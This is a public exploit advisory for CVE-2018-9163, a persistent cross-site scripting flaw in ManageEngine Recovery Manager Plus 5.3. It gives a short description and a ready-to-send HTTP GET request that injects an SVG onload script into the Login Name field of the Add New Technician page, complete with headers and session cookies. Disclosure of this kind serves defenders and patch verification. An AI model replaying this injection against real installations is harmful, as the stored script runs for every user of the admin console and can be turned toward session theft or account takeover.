ManageEngine Recovery Manager Plus 5.3 Cross Site Scripting

`# Exploit Title: ManageEngine Recovery Manager Plus 5.3 (Build 5330) - Persistent Cross-Site Scripting  
# Dated: 2018-03-31  
# Exploit Author: Ahmet GAREL  
# Software Link: https://www.manageengine.com/ad-recovery-manager/  
# Version: < = 5.3 (Build 5330)  
# Platform: Java  
# Tested on: Windows  
# CVE: CVE-2018-9163  
  
# 1. DETAILS  
# In the Add New Technician (s) section on the /admin/technicians page of the  
# ManageEngine Recovery Manager Plus 5.3 (Build 5330) application, allows  
# remote authenticated users with the Login Name parameter is vulnerable to  
# XSS. The parameters entered are written in the database and affect all  
# users.  
  
# 2. PoC:  
# From the Add New Technician (s) page, it is possible to inject malicious  
# web code inside Login Name parameter. The HTTP request looks like the following:  
  
GET  
/technicianAction.do?req={%22domainId%22:0,%22loginName%22:%22%3Csvg%20onload%3Dprompt(document.domain)%3E%22,%22password%22:%22Test123%22,%22isDomainUser%22:false,%22roleId%22:1,%22operation%22:%22createTechnicians%22}  
HTTP/1.1  
Host: 172.16.219.168:8090  
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:59.0)  
Gecko/20100101 Firefox/59.0  
Accept: application/json, text/javascript, */*; q=0.01  
Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3  
Accept-Encoding: gzip, deflate  
Referer: http://172.16.219.168:8090/  
Content-Type: application/json; charset=utf-8  
X-Requested-With: XMLHttpRequest  
Cookie: JSESSIONIDRMP=64556C394C0687AA34179CFE2EF4EA5A;  
JSESSIONIDSSO=0605E8EB825B181A4A201542A518457D  
Connection: close  
  
  
`